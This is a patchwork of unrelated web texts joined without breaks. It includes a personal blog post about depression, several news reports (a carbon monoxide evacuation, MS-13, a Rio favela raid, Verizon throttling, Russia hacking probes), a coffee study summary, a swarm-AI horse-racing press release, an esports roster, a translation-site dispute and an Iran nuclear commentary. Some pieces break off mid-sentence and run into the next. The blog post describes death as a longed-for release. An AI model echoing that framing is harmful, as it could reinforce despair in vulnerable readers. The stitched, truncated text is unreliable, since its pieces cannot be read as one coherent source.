This has always been my favorite way to relieve my stress, with blogging. I started a LiveJournal a long time ago that I’ve never shown anyone where I would post everything, completely unfiltered. I didn’t pay attention to grammar, or spelling or punctation, I just kind of let it all go, and put everything out there. It helped me so, so much. I’ll never show it to anyone, but it’s my secret cupboard of thoughts that are very personal to me. I’ve started to realize a lot about myself lately. I realize why I’m scared of sexuality (no, I won’t share it because it’s immensely personal), I realize that I’m SEVERELY depressed and I’m very good at hiding it to the point where most people wouldn’t even notice it, I realize I’m so deeply ingrained into being single at this point that being with someone else would be almost too much of a shock to my senses and it probably won’t work with anyone for the rest of my life. I realize my own mortality, and death does not scare me any more. I’m scared to lose the people who mean the most to me, because once they’re gone, then I’ll be all alone for the rest of my life. I realize I act out my fears as hate towards other people when they upset me. I realize I need help but I’m too stubborn to get it. I really should be seeing a therapist, but I’m too lazy to do it. No one’s going to do it for me, or make me do it, nor do I expect someone to. I just value my own life so little that my personal mental health means that little to me. I know I SHOULD care about me, but I don’t. I just try to trudge through life, be nice to others as often as I can and get to the end with as little conflict as possible. Even in death, though, I feel like I’d be a big burden to someone. I always feel like a burden. I always feel like I have to depend on someone else for everything, and I don’t know how to shake that. It’s scary and one of the reasons I’m so timid. I don’t like rustling the real feathers of life, so I just kind of go with the flow and do what I want.
The thought of living alone scares me, too. Too often I get lost in my thoughts and I start thinking really, really dark thoughts. The only thing that keeps me grounded is being around someone else. Once I start tumbling inwards into my mind, It hits the dark spot pretty quick and if someone else isn’t around, it’s a fight within myself to not do some dumb shit. I don’t think I’d ever kil myself, but I really don’t care if I die. I really don’t see a purpose of being here any longer than necessary. I’m not scared of death because death is a release. Death is the final end to all the bullshit, all the stress and anxiety, all the drama and confrontations and stupid arguments that you can never win, all the short checks, all the car problems, all the fear and worry and regret. Once you die, all that is gone. Whether you believe you’re going to heaven, or back to the cosmos, or just left to rot in the earth, it doesn’t matter. Your collective concsiousness has ended, and you are free from it all. All the He Said, She Said bullshit, all the minor inconveniences, traffic jams, all the dates that stood you up, everything is done and over with. To me, that is far more beautiful than anything life can provide at this moment in time.
I know that sounds like some moody teenage rant, but it’s one hundred percent honesty from me. That’s where I’m at in my life right now, I can’t wait to die so I can be released from all the bullshit life is throwing at me right now.
I thought I knew what my passion was, but as it turns out, I can fake being passionate. I still want to make movies and do standup comedy, but I can’t break myself from the tether of bills to just shirk everything in favor of that nomadic kind of lifestyle. It seems so fantastial and romanticized, and I would love nothing more than to do that, but I just can’t break myself out of this rut and convince myself to do it because I know I would go right back to destitution which would absolutely suck. Maybe living out of my car wouldn’t suck that bad, who knows. I could probably make it work.
I remember when I had hit hard times once, I was thinking of moving to a new city. I’ll never forget the one thought that kept me from doing it, I was trying to find places to live, and the thought hit me like a ton of bricks, “Which city would I like to start my homeless career in?” I know if I were to move to a new city, I would not be able to support myself enough to get my own apartment, and would end up on the streets. That one thought scared me so bad, I haven’t gotten over it yet or forgotten it, and that was YEARS ago. I don’t want to be homeless, but I don’t want to be miserable all the time, either.
I don’t know what to do, I don’t know what I want in life, and I don’t see it ever getting any better. I want to go back to school, but I have no idea what I want to study. I would like to do somethign involving video games or movies, because even at almost 30, those are the only things that really still keep my interest at all. I just keep telling myself, “You’re not smart enough for that.” and I still believe it.- An apartment building filled with toxic gas from a faulty water heater this weekend and, if not for two women, they may not have. The two women were the only ones in the building with a carbon monoxide detector.
Sister Adams and Sister Rambert of the Church of Jesus Christ of Later-Day Saints, moved to the Cambridge Square apartments in Southfield earlier this year to do missionary work. But they say God used them a different way, when their carbon monoxide detector went off early Sunday morning.
"We have this emergency book and we went and just read through it and it said, if it ever goes off, it's not a drill, to call 911," Sister Adams said.
They did just that, then the young women, who normally knock on doors to witness, started knocking on doors to save lives. They began to realize, their detector was the only one in the building.
"No one else had the detector, so we were very grateful everyone was able to get out safely," Sister Rambert said.
Firefighters arrived and evacuated about 20 people from the building, who were starting to suffer the affects. Firefighters also tell FOX 2 that the toxic gas came from the hot water heater in the basement.
"A couple little girls and a couple of the adults had to go into the ambulance and put on a breathing mask," Sister Adams said. "Some people had headaches and a little bit of nausea, but everyone seemed to be okay."
Emergency responders say carbon monoxide levels were dangerously high at about 100 parts per million. Some people tested positive for elevated levels. But everyone survived.
Apartment managers say they're now in the process of installing carbon monoxide detectors in every unit of every building. They're also inspecting every hot water heater to reassure their residents. Now that the scene is clear and all is safe, Sister Adams and Sister Rambert reflect on how lucky they were to be in the right place at the right time.
"A lot of people kept asking the firefighters, if they hadn't called, we would all be dead |
into prostitution.
Carlson said the issue has become so bad in places like Central Islip, N.Y. and nearby Brentwood, that the county there has seen 15 murders attributed to the gang in the past 16 months.
'I'm Not From Mars': Illegal Immigrant Journalist Battles Tucker Over Deportations
Gingrich: New Hillary Video 'Like Watching a Car Wreck in Slow Motion'
Krauthammer: 'Reasonable' for GOP to Threaten 'Nuclear Option' on Filibusters
He asked why Salinas would use the term "demonize" in the first place to describe a gang tens-of-thousands strong that has a motto translating to "kill, rape, control."
Salinas said Sessions incorrectly called the group a "cartel," saying their leadership is too young and disorganized to operate a well-oiled drug importation operation.
He said the government should "strike a balance" in the way they describe gangs.
MS-13 expert: AG Sessions needs to be more careful in how they describe MS-13. They are not a cartel #Tucker @FoxNews — Tucker Carlson (@TuckerCarlson) May 3, 2017
Carlson said immigration is "coloring" the gang issue, saying sanctuary cities are part of the reason for MS-13's prevalence in the U.S. because they will not deport illegal immigrant criminals."
Salinas said that less than 500 out of the 114,000 people deported in 2016 were gang members.
Watch the full debate above.
CNN Refuses to Run Trump Campaign Spot Over 'Fake News' Graphic
'That's Not Cool': Joe Namath Slams Colbert for Lewd Trump Joke
DNC Chairman Perez at May Day March: 'No Human Being Is Illegal'Please turn on JavaScript. Media requires JavaScript to play. Advertisement
At least 10 people have been killed after Brazilian police raided shanty towns in Rio de Janeiro in an anti-drugs operation.
About 300 police and special forces using armoured vehicles and helicopters descended upon four slums, know as favelas, in the west of the city.
Police say all those who died were suspected drug dealers.
But a BBC correspondent in the city says community groups often challenge the police version of events.
The operation comes as officials recently launched a new approach to ridding the favelas of drugs traffickers.
Instead of withdrawing after violent shootouts, police aim to maintain a constant presence in the shanty towns.
Drugs targeted
Police said the target of the latest operation had been drugs, arms and stolen cars in the sprawling favelas.
Those killed included two teenage boys, the city's civil defence ministry confirmed.
At least seven people were arrested and police say they recovered guns, two grenades and an assortment of drugs.
A woman who was hit by a stray bullet was also taken to hospital, reports say.
"It was a success. With today's operation we have considerably weakened the criminals," said the head of civil police, Gilberto Ribeiro.
Police often stay out of Rio's large shanty towns, only entering on heavily armed raids directed against drug gangs or illegal militias, says the BBC's Gary Duffy in Rio de Janeiro.
However a new approach to policing is being tried in two poor neighbourhoods, one of which was visited by Brazil's President Luiz Inacio Lula da Silva on Tuesday.
Police are maintaining a 24-hour presence in the shanty town of Santa Marta to try to reclaim the area from drugs gangs.
Analysts say the experiment might offer at least a limited alternative for policing in city.
However there are more than 900 shanty towns and the costs and challenges of ensuring all are properly policed would be enormous, our correspondent says.Drinking moderate amounts of coffee – about three or four cups a day – is more likely to benefit our health than harm it, our latest research shows. This is important to know because around the world over two billion cups of coffee are consumed every day.
Earlier studies have suggested beneficial links between coffee drinking and liver disease. Our research group has an interest in liver conditions. As such, we had previously conducted two meta-analyses, one looking for links between coffee drinking and cirrhosis and another at coffee drinking and cancer of the liver. We found that there was a lower risk of both conditions in people who drank more coffee.
Most of the evidence, however, is from observational studies, which can only find probable associations but can’t prove cause and effect. To overcome these limitations, we plan to conduct a randomised controlled trial in patients with non-alcoholic fatty liver disease to see if coffee works as a treatment to reduce the risk of the disease progressing.
But before we can start giving coffee to patients, we needed to know whether coffee drinking had any recognised harms, so we decided to conduct an umbrella review to capture as much important information about coffee drinking and health as we could. Umbrella reviews combine previous meta-analyses and give a high level summary of research findings.
Many benefits
Overall, our umbrella analysis showed that drinking coffee is more often linked with benefits than harms. For some conditions, the largest benefit appeared to be associated with drinking three to four cups of coffee each day. This included lower risk of death from any causes, or getting heart disease. Drinking coffee beyond these amounts was not associated with harm, but the benefits were less pronounced.
Drinking coffee was also associated with a lower risk of developing type 2 diabetes, metabolic syndrome, gallstones, renal stones and gout. We also found that it was associated with a lower risk of getting some types of cancer, Parkinson’s disease, depression and Alzheimer’s disease. But liver diseases stood out as having the greatest benefit compared with other conditions.
Reassuringly, harms were not apparent apart from during pregnancy when coffee drinking was linked to low birth weight, premature birth (in the first six months of pregnancy) and miscarriage. This is not new knowledge, and there are guidelines for limiting caffeine intake in pregnancy. We also found a small increase in risk of fracture in women, but there is some discrepancy in the evidence and further investigation is needed.
Careful how you consume it
Findings of our umbrella review should be interpreted with caution. Evidence in the review came mainly from observational research, so we can’t extrapolate our findings to suggest people start drinking coffee or increasing their intake in attempts to become healthier. What we can say is that people who already enjoy moderate amounts of coffee as part of their diet are most probably getting health benefits from it, rather than harm.
Our research is about coffee. It’s not about sugar, syrups, biscuits, cakes and pastries. Standard health messages still apply to those types of food. In other words, if you already drink coffee, enjoy it, but try to make it as healthy as possible.
This post originally appeared at The Conversation. Follow @ConversationUS on Twitter.Stealing and stupidity seem to go hand in hand, a case in point being the teens who recently sold iPhone boxes full of Play-Doh and then returned to the store when the buyer asked for a second batch. Now we have another example of a lack of intelligence on the part of a thief, or in this case thieves.
Kelly Brown Jones takes her family on a trip to Cedar Point amusement park in Ohio every year. When visiting this year she left her backpack on a bench. When she realized and returned to the bench the backpack was gone. Inside were two iPhones, her credit cards, ID, a 35mm camera, and tickets to the amusement park for the following day. The backpack was later found, but the contents was predictably gone.
Jones left the park angry, but then discovered images had appeared on her iCloud of people she did not recognize. There were multiple selfies of the two (or possibly three) thieves who had stolen the contents of her bag and were now using her iPhone to capture some “memorable” shots. Little did they know they were providing a mugshot for Jones to track down.
As well as sharing the images with authorities, she also posted the shots on Facebook and they have gone viral, managing to log over 100,000 shares so far. It seems inevitable that someone will recognize the two girls pictured and report them. If the thieves are lucky, a friend will see the Facebook post first and let them know they are about to be in a world of pain and prosecutions. Jones says she will be pressing charges if these “assholes” as she calls them, are found.Several online reports are pointing to an incident developing at Disney World’s Art of Animation Resort.
Wow, what happen?
A post shared by Life with us (@lifewithusvlog) on Sep 13, 2017 at 3:01pm PDT
Some on Twitter have reported spotting several police and hazardous material vehicles in front of the resort. One report on Twitter stated there were News helicopters hovering over the resort. Yet another Twitter user reported someone was escorted out in handcuffs.
Lol now there’s news helicopters flying around #artofanimation…what the heck is going on!! — brittanyfett✨ (@brittanyfettt) September 13, 2017
According to Danny at inquisitor.com reports of a “chemical smell” started going around. He also reported that the hazmat team had set up small tents on the property near the Cars section of suites to the right of the lobby, and they also set up a wash station.
Still awaiting more details, keep following along for updates.
Click here for your FREE no obligation quote!
As an agent with MickeyTravels, I’ll be on hand to help you with everything from finding your perfect package to nabbing those hard-to-get dining and FastPass reservations. I work with all Disney Destinations. Best of all, my services are absolutely FREE. Get in touch at 1.954.401.9577, via email at MickeyTravelsHolly@gmail.com, or follow along on Facebook.
Image Credit: Instagram @lifewithusvlogOfficials in Elko, Nevada have unanimously denied a request from a transgender middle school student to use his preferred restrooms and locker room.
The Elko Daily Free Press newspaper reported Wednesday that the Elko County School Board decided Tuesday not to allow the 13-year-old transgender boy to use the facilities designated for men.
The boy's mother, Michelle Gonzalez, said he is regularly bullied and pleaded with officials to approve his request.
The board has previously said the child can use a unisex restroom for special education students — a decision Gonzalez said promotes segregation.
Parents who spoke against the request said it could make other students uncomfortable and endanger the transgender child.
Elko School Board Trustee Cindy Elquist agreed, citing the board's mission to make policies that are best for all students.
Mara Keisling, executive director of the Washington-based National Center for Transgender Equality, previously told Al Jazeera in an interview that trans advocates are anticipating more standoffs about trans students’ bathroom rights at school.
“We are going to battle over bathrooms,” she said.
That’s because lawmakers in several U.S. states — including Florida, Kentucky, Minnesota and Nevada — have introduced bills in the last year that would prevent trans students from using the bathroom facilities corresponding to their gender identities while at school.
California, on the other hand, passed a law in 2013 that requires the state’s public schools to allow trans students to use bathrooms and play on the sports teams that match their gender identities.
The Williams Institute at UCLA School of Law, a think tank that researches sexual orientation and gender identity, released a study in 2013 about the effects of denying access to certain bathrooms on transgender individuals. The study found that nearly 60 percent of the transgender people it surveyed said they had avoided going out in public because of worries about safe access to public restrooms, and 54 percent said they had physical problems like dehydration or kidney infections from trying to avoid using public bathrooms.
Al Jazeera and The Associated PressJuly 22, 2017 by Yusra Aziz
On July 20, it was reported that Verizon Wireless appeared to be throttling Netflix traffic, and very next day it was confirmed by the Verizon in the statement that it had been capping the traffic due to a temporary video optimization test.
A Verizon Wireless spokesperson stated that “We’ve been doing network testing over the past few days to optimize the performance of video applications on our network,”. He also added, “The testing should be completed shortly. The customer video experience was not affected.”
This statement is completely contrary to what the users had experienced. According to the customers what they were going through was absolutely not an optimization rather a clear cap. The test from the Netflix’s speed tool showed considerably lower rates as compared to the non-Netflix tests.
Version’s Optimization Looked More Like Throttling
The similar caps were not only applied to Netflix but to all video applications present on the Verizon Wireless network. A Verizon representative also said that “We are constantly testing the network,” “It’s what we do, to optimize performance for our customers. The test was across the board, and did not target any individual applications.”
It was confirmed by the representative that for some users 10Mbps cap was in place. The representative wrote “The consumer video experience should have been unaffected by the test,” also, “since the 1080p video is HD quality and looks great at 10 [Mpbs].”
The above clarifications by the Verizon seem reliable with an across-the-board throttle on video applications, which were put in place with no disclosures to the users. As many users would not be able to view videos in 10Mbps video speeds still this is what Verizon says about optimization that looks more like throttling. It is what advocates of net neutrality have been warning about for a long time.
The thing to keep in mind is that Title II is still the official law, even though the FCC is trying its best to roll it. The Verizon Wireless is still legally obliged to follow the ruling of Title II that is they are required to treat all the traffic without any discrimination. There are a number of exceptions for the management of the network, yet throttling of a particular service is simply the violation of the law. It was clear that the traffic on Netflix was not being treated equally which means that it was tangible being treated differently from the other traffic.Senate Intelligence Committee Chairman Richard Burr (R-N.C.), left, speaks with Sen. John McCain (R-Ariz.). (Bill O’Leary/The Washington Post)
Less than a week into Donald Trump’s presidency, both chambers of Congress have launched probes into alleged hacking by Russia that spy chiefs believe was designed to help him win.
The moves could deepen the rift between the new president and the intelligence community — which has said that Russia intervened in the U.S. election with the goal of helping to elect Trump. It could also eventually drive a wedge between Trump and the Republican Congress, depending on the information that is uncovered and how aggressively lawmakers move to follow it.
[Trump’s criticism of Russia intelligence is dividing Hill Republicans]
The Senate Intelligence Committee, which is in charge of the Senate’s investigation, kicked off its probe Tuesday with a meeting to establish the scope of its inquiries. Lawmakers have pledged to look “everywhere the intelligence tells us to go” in investigating Russia’s activities in the 2016 elections, said the committee’s chairman, Richard Burr (R-N.C.) — even if that includes links between the Trump campaign and the Kremlin.
The House Intelligence Committee has also launched its formal inquiry, Chairman Devin Nunes (R-Calif.) and ranking Democrat Adam B. Schiff (D-Calif.) said in a statement Wednesday. They promised their focus on Russia’s alleged meddling in the 2016 election would include “any intelligence regarding links between Russia and individuals associated with political campaigns.”
The committee leaders added in their statement that they have already begun to receive documents related to the investigation, while warning incoming Trump administration officials that they expect them to “fully and promptly support our requests for information related to the inquiry. It will not be adequate to review these documents, expected to be in the thousands of pages, at the agencies.”
And Senate Armed Services Committee Chairman John McCain (R-Ariz.) said his committee in the next week or two will launch its official investigation into how best to deter and counteract cyberthreats posed by countries such as Russia. He plans to hold at least one full committee hearing, calling on officials such as Adm. Michael S. Rogers — the director of the National Security Agency and the head of U.S. Cyber Command — to testify.
Republican leaders are not promising a quick turnaround.
Burr surmised that it would take months to “aggressively” comb through all the intelligence pertaining to the suspected hacking, given that the scale and extent aren’t yet clear. And Republican leaders are clearly waiting on the intelligence panels to take the lead.
“It’s not much of a foreign policy role, once you had the briefing we had the other day,” said Senate Foreign Relations Committee Chairman Bob Corker (R-Tenn.). He was referring to a briefing the nation’s spy chiefs gave to the full Senate in the days preceding Trump’s inauguration.
“The intelligence community is really robust in what they’re doing, and if you’re really trying to look at what happened during the election, the run-up to the election, that’s really the committee that should be looking at that anyway,” Corker said.
“At present, we can’t even get witnesses, or anybody in intelligence,” to testify, because “they’re off-limits to all of us,” he said.
Senate Homeland Security and Governmental Affairs Committee Chairman Ron Johnson (R-Wis.) said earlier this month he had no plans to have his panel investigate the Russian-hacking allegations. The Senate Banking Committee has also not outlined plans for any major investigations, though it has jurisdiction over any sanctions to step up punitive actions against Russia.
That leaves the Senate Armed Services Committee to tackle how the United States should marshal its defense and national security resources to deter — or respond to — cyberattacks.
After the opening full committee hearings, the plan is to hand off the day-to-day work of the investigation to the head of a new cybersecurity subcommittee, Sen. Mike Rounds (R-S.D.), at an undetermined point in the future.
But Rounds will not have a free hand. Though the full membership of the cybersecurity panel has not yet been set, McCain has decided to award one of the rank-and-file seats to himself. Rounds has already promised that he is “not going to overstep my bounds” when it comes to the chairman.
Rounds, a first-term senator and former governor of South Dakota, was the last-minute pick to replace a McCain confidant, Sen. Lindsey O. Graham (R-S.C.), who opted not to seek the waiver necessary to take on the panel as his third subcommittee chairmanship.
Graham has secured such a waiver before, but he and McCain cast the move as practical, denying that Senate GOP leaders might not agree to let Graham, the conference’s loudest Trump critic, spearhead what is likely to be the Senate’s highest-profile investigation into Russian hacks.
In an interview, Rounds said he has confidence in the new administration because of Trump’s national security picks — particularly James Mattis as Pentagon chief. Rounds said that he is “not looking for a fight” with officials but added that he is prepared “to go wherever the information takes us,” promising that “we’re going to get results.”
Rounds has lobbied for cybersecurity responses in relatively quiet anonymity, but his signature mark in the arena is the current law, passed as part of a massive defense bill last year, insisting the Pentagon define when a cybersecurity breach or attack constitutes an act of war.
His goal now is to craft policy describing what to do in the event of a cyberattack. He would not outline his ideal terms, pledge to fully publicize the results or endorse new sanctions on Russia. He noted that “if Congress places sanctions on [Russia], the administration can’t simply decide not to enforce them.”
But Rounds said that would-be hackers and adversaries should understand there will be “serious repercussions” for anyone trying in the future to interfere with an election through cyberspace.
“We should not take anything off the table,” he said, likening cyberattacks to other acts of war. “What we would do in regard to a [physical] attack, we should also be able to use for a cyberattack.”After Beating the Experts in Predicting the Oscars, College Football, and the Stanley Cup, a Reporter Challenged Unanimous A.I. to Predict the Kentucky Derby -- Its Software, UNU, Nailed the Superfecta in a Pick That Paid $54,000 on a $100 Bet
SAN FRANCISCO, CA--(Marketwired - May 9, 2016) - If you've been following the predictions made by UNU, a new "Swarm Intelligence" platform from Unanimous A.I., you might bet on the Kentucky Derby this weekend and won big, really BIG. That's because a day before the race, UNU's picks were published for the first four horses, in order. It's a bet called the Superfecta that paid 540 to 1 odds. And that's exactly how the horses came in. And this is not the first stunning pick UNU has made.
How is this possible? It goes back to the birds and bees. Ants too. And fish. From swarms and flocks, to schools and colonies -- countless species have evolved techniques to amplify their intelligence in closed-loop systems that pool their insights and converge on optimal decisions. Biologists call this "Swarm Intelligence" and it allows groups to amplify their collective IQ beyond the capacity of individuals, proving the old adage -- many minds are better than one.
Until recently, the human species has been unable to take advantage of this fundamental biological technique, for we didn't evolve the ability to swarm. Enter Unanimous A.I., a Silicon Valley startup founded in 2014 by serial entrepreneur and researcher Dr. Louis Rosenberg. The core question Rosenberg set out to answer was: Can humans swarm, and if so can we amplify our intelligence beyond the ability of individuals? The answer appears to be a resounding yes.
Unanimous spent the last two years building a swarm intelligence platform called UNU that enables groups to get together as online swarms -- combining their thoughts, opinions, and intuitions in real-time to answer questions, make predictions, reach decisions, and even play games as a unified collective intelligence. To quantify how smart these UNU swarms really are, researchers at Unanimous regularly convene swarms and ask them to make predictions on high profile events, testing whether or not many minds are truly better than one.
UNU has made headlines in recent months by predicting the Oscars better than the experts, even besting the renowned forecasters at FiveThirtyEight. UNU also surprised the sports world by predicting the NCAA college bowl games with 70% accuracy against the spread, earning +34% return on Vegas odds. But still, the fact that average people could use UNU to amplify their collective intelligence so dramatically was met with cautious resistance.
Enter Hope Reese, a reporter from TechRepublic. Two weeks ago, she challenged Unanimous A.I. to use UNU to predict the winners of the Kentucky Derby.
"We were reluctant to take this challenge," says David Baltaxe, Chief Information Officer at Unanimous. "Nobody here knows anything about horseracing, and it's notorious for being unpredictable. Still, UNU surprises us again and again, so we recruited a swarm of volunteers through an online ad. The whole thing took 20 minutes."
Here's how it worked. During a first 10-minute session, the group used UNU to answer questions as a unified Swarm Intelligence, narrowing the field of 20 horses down to four winners. The swarm was then asked to order the four winners into Win, Place, Show, and Fourth. Then, a week later the Kentucky Derby announced the post positions of the horses, which impacts the potential outcome. So, the Swarm Intelligence was convened again, and asked if any changes should be made. One of the four picks was replaced by an alternate. This process took another 10 minutes.
The picks were then reported to the reporter at TechRepublic, who published her story the day before the race was run. The article conveyed skepticism, quoting an expert who said if this really worked, it would disrupt gambling markets.
The expert was right -- gambling may never be the same. That's because 24 hours later, the 142nd Kentucky Derby was run and the four winning horses were in the exact order that UNU predicted. The odds of making such a pick, known as a "superfecta," were 540 to 1. This means that anyone who bet $100 on the published picks in TechRepublic would have made $54,000.
In fact, the TechRepublic reporter, Hope Reese, put down a bet herself on UNU's superfecta and won big. As did many readers, who have been emailing their appreciation to Unanimous A.I.
"Personally, I was speechless," said Louis Rosenberg, CEO of Unanimous. "We've been blown away by how smart UNU has been in prior predictions, but when the horses crossed the line I almost didn't believe it, especially since we put ourselves out there by publishing the picks. And here's the amazing thing -- while the Swarm A.I. got the picks perfect, not a single individual who participated in the swarm got the picks right on their own -- not one."
Rosenberg knows this because the participants also filled out surveys, indicating their individual picks. This allows researchers to compute the amplification of intelligence that the swarm showed vs individuals. Rosenberg calls this the Amplification Intelligence Quotient (AIQ). It's computed as the percent correct made by Swarm Intelligence divided by the percent correct of individuals. In this case, they looked at how well the individuals picked any single horse to finish in the correct order. The Swarm was 100% correct in picking horses to finish in the correct order, while the individuals who comprised the swarm were only 23% correct. This means the AIQ of the swarm showed a 435% amplification of intelligence.
"If we assume the average IQ of an individual participant was 104, which is the global average, we could say that when it came to horse racing UNU demonstrated a 435% amplification over that," Rosenberg explains. "That puts this UNU swarm at an IQ of 452 in this context. We think that's a pretty fun way to look at it."
Researchers at Unanimous also like to compare the power of swarms to the standard polls. Using the survey data from the individuals who participated in the swarm, researchers asked -- what if this group had taken a vote and bet on the horses that were the most popular picks? It turns out that if you take the most frequent picks made by the participants on their own, the group would have collectively gotten only one correct prediction -- the favorite to win, Nyquist.
"Why do swarms outperform polls, surveys, and markets? Millions of years of evolution should give us a clue," says Rosenberg. "The birds and the bees don't vote, or take surveys, or use sequential prediction markets. They form real-time dynamic systems that explore a decision space together, in synchrony, and converge on optimal solutions in unison. Now, with UNU, any human group can login and do that too, and the results are pretty amazing."
For those interested in tapping into a swarm, visit: http://unu.ai.
About Unanimous A.I.
Unanimous A.I. develops technologies for Swarm Intelligence, unlocking the hidden brainpower inherent in groups. Unlike traditional A.I., which aims to replicate human intelligence with technology, Unanimous keeps people in the loop, amplifying human intelligence rather than replacing it. For more information, visit http://unanimous.ai/about-us/.The following six teams will be participating in Season One of the ETS Team League!
SPG Destiny
Team Captain: HiThar
Bradykin, childroland, Drolicheck, Paradox, smj1360
Team Stats: 481 games played (274-207) Series Points: 51
The core performers of Seek Power Gaming joined together as a powerhouse team! Featuring two worlds players in childroland and HiThar, this team offers a solid balance of skilled players and diverse deck preferences. One of the favorites to do well… do you believe in Destiny?
SPG Echo
Team Captain: Trippedoutfish
Calimdir, Kampfkrote, MasterPlan, Tatavath, TonyGeeeee
Team Stats: 227 games played (119-108) Series Points: 32
Far less renowned than its SPG sister team, most of the current laurels rest on KampfKrote’s once-a-season return to form. If you need to build a team around a single player, the Midseason Major champion isn’t a bad choice – when he shows up, he wins. The rest of the team is still looking to really make its mark, and it will have to beat Destiny to do it. Will we hear an Echo?
Team EternalWarcry
Team Captain: Clarity
Darkness, Missingtoez, NotoriousGHP, Tatsumaki, theovermaster
Team Stats: 200 games played (99-101) Series Points: 12
The everyman team, Team EternalWarcry is composed of players new to the ETS and some moderately renowned players. Missingtoez is probably the best known name on the team, coming off his second place finish at the Season 5 Invitational, but all six of these players are here to prove that they can hang with the big boys. They may not dominate individually, but this team has by far the most cohesion and enthusiasm. Look for aggressive decks and snowball wins as they EternalWarcry their way to victory.
Team Titans
Team Captain: Tobbo
Buckwheat, camat0, Finkel, lv13david, VSarius
Team Stats: 388 games played (228-160) Series Points: 37
Built on the back of some Elder Titans powerhouses, this team adds Worlds contender Tobbo and career winrate leader camat0 to round out its roster. VSarius returns from his hiatus and Finkel makes his ETS debut. All of these team members are strong individually, but they’re also known to have strong opinions on deck choice. Will they be able to create cohesive lineups, or will they focus more on individual skill and choice?
OND Flame
Team Captain: Unearthly
IlyaK, RedWorld, Shedd, Thundershot
Team Stats: 783 games played (428-355) Series Points: 53
The only team with 5 members and yet they’ve played the most games of any team! Household names abound on this team and they’ll probably be one of the favorites. Putting Unearthly on any team does tip your hand a bit – do you run him and risk a Rakano counter, or do you leave such a good player on the bench? /Five strong teams stand in their way – will OND rise or will they just go down in Flames?
OND Feather
Team Captain: Elunex
Angrychicken, Flash2351, Komodo, Pupicitus, Toth201
Team Stats: 596 games played (337-259) Series Points: 75
Featuring not one but two Invitational champions, OND Feather mixes their veterans with some up and coming names. Everyone on OND is a proven player and they’ll be looking to soar above their close rivals, OND Flame. All these players have won a tournament before – can they take flight and win the whole season?
Share this: Twitter
FacebookGot off the plane, into the hotel, and scanned through some of the messages. My previous post summed up things pretty well, albeit a bit grumpily, but I thought a bit more detail would be in order, since QI continues to wish to play this out in the public (why, why, why?).Now... so many lies. Where to begin?, they claim that they own the translations in progress and that Wuxiaworld agreed to allow them to dual host translations live. I can categorically say that this is false... and they themselves know it. Proof? I can't show the contract due to NDA (although Qidian is quite frankly already breaching it), but why don't you look at this? Does that make sense to anyone at all? And OMA wasn't the only person they reached out to; a good number of Wuxiaworld translators who were working on projects included in the 20 received these requests! The very fact that they even tried to 'buy-back' chapters is proof that they themselves know that they have no right to use those chapters in the way they are discussing., they claim that the DMCA was filed a month ago and had nothing to do with them suddenly copy/pasting Wuxiaworld chapters over. This is yet another lie;, right before they started copying chapters over. Hoping to take down the site for a few days and drink up some of the Wuxiaworld traffic, eh?there are the claims that they had to do this right away because 'RWX fails to reply' or 'RWX is slow to respond'. @Qidian name a single example of an email sent to me that I did not respond to.. I have sent numerous emails to them afterwards, and they have ignored everything in a completely unprofessional manner, making no effort to work with me at all.? Why claim that Qidian and Wuxiaworld are 'working to come to an agreement' when you completely refuse to talk to me?Next let's go to the translations themselves. Their argument is nonsensical, both from a legal standpoint and from a logical standpoint. From a logical standpoint - They are claiming that although they paid others (TKA, etc.) to dual post, Wuxiaworld paid THEM to dual post? Does anyone believe that? That WE paid THEM to work for their website for free? Seriously?Then from a legal standpoint, we've already seen the Wuxiaworld draft contracts which has been signed with its translators. Let's play pretend and pretend that Qidian is telling the truth and that we signed an agreement with Qidian giving them translation rights that we don't own. If that was the case and we weren't able to deliver, they can sue Wuxiaworld for damages and breach of contract (come at me bro)... but what gives them the right to take the translations which they claim 'never belonged to Wuxiaworld' and thus Wuxiaworld never had the right to transfer to Qidian?Then let's talk about their reasons for doing this. So on the surface, their new paid PR spokesman HighJayster/Austin (yes, the Gravity one) operating the Qidian account claims it is 'for the readers' and because of Wuxiaworld ad problems. But that's not what Qidian saying internally, is it?Man, I could go on and on about all the lies that have been spewed out today, but I think this is enough for now. Want a tldr?New PR spokesperson, same old lies, just better English. Our new investors and I will be seeing you in courtIran
Kenneth Waltz wrote a provocative essay (pay-walled) for Foreign Affairs arguing that an Iranian nuclear weapon would be a good thing (or not as bad a thing as most assume). In an interview with the Diplomat, he fleshes out his thoughts, comparing the development with Pakistan's nuclear breakout:
India quite naturally did not want Pakistan to become a nuclear state. A second nuclear state cramps the style of the first. It is hard to imagine one nuclear state acquiescing easily or gracefully to its adversary going nuclear. But certainly in the long run, the nuclear weapons have meant peace on the subcontinent. This is in GREAT contrast to the expectations that most people entertained. Statements abounded by pundits, academics, journalists that suggested that nuclear weapons would mean war on the subcontinent. These experts all denied that the nuclear relationship between India and Pakistan could be like that between the U.S. and the Soviet Union. When two countries have nuclear weapons it becomes impossible for either to strike at the manifestly vital interests of the other. It remains very possible, however, for nuclear states to engage in skirmishes, and those can of course be deadly. A historical example is the Soviet-China border disputes (1969), and a more recent one is the Mumbai attacks. But never have any of these skirmishes gotten so out of hand as to escalate to full-scale war.
The comparison with Pakistan is interesting. Pakistan, like Iran, is a state that nurtures alliances with terrorist groups yet never once passed off a bomb to one of these groups. Pakistan is an Islamic state yet never embraced national suicide by attacking their arch-enemy India. So the fact that the U.S and India have thus far lived, albeit very uncomfortably, with a nuclear Pakistan is proof that it could do so with a nuclear Iran. The India-Pakistan rivalry is orders of magnitude more intense than anything between Iran and Israel, and it has not devolved into a nuclear Armageddon.
On the flip side, the Pakistani example also shows why Waltz is being a bit too sanguine. Pakistan's nuclear weapons are source of huge insecurity both for Pakistan's neighbors and for the world - less because of fears that the Pakistani military will launch them, but that the Pakistani state will break down and the military would lose custody of one or more weapons. While a complete state collapse doesn't appear to be a near-term possibility, the country is far from stable. The fact that it has nuclear weapons is an added degree of international heartburn.
Iran doesn't have as much internal instability as Pakistan (a fact which some U.S. lawmakers apparently want to remedy by funding an anti-Iranian regime terrorist group) but it has been challenged recently. Once Iran acquires nuclear weapons (if it ultimately does so), internal instability becomes that much more dangerous. In Waltz' view, the spread of nuclear weapons stabilizes state-to-state relations, but there's the pressing problem of what happens if those nuclear weapons states break down.Story highlights The trial of Gigi Jordan opens with prosecutors saying she gave her son a drug overdose
Jude Mirra, 8, who was autistic, died from painkillers and anti-inflammatories, prosecutors say
The defense says the desperate mother aimed to protect her son from a sexually abusive father
Jordan, charged with second-degree murder, faces 15 years to life in prison if convicted
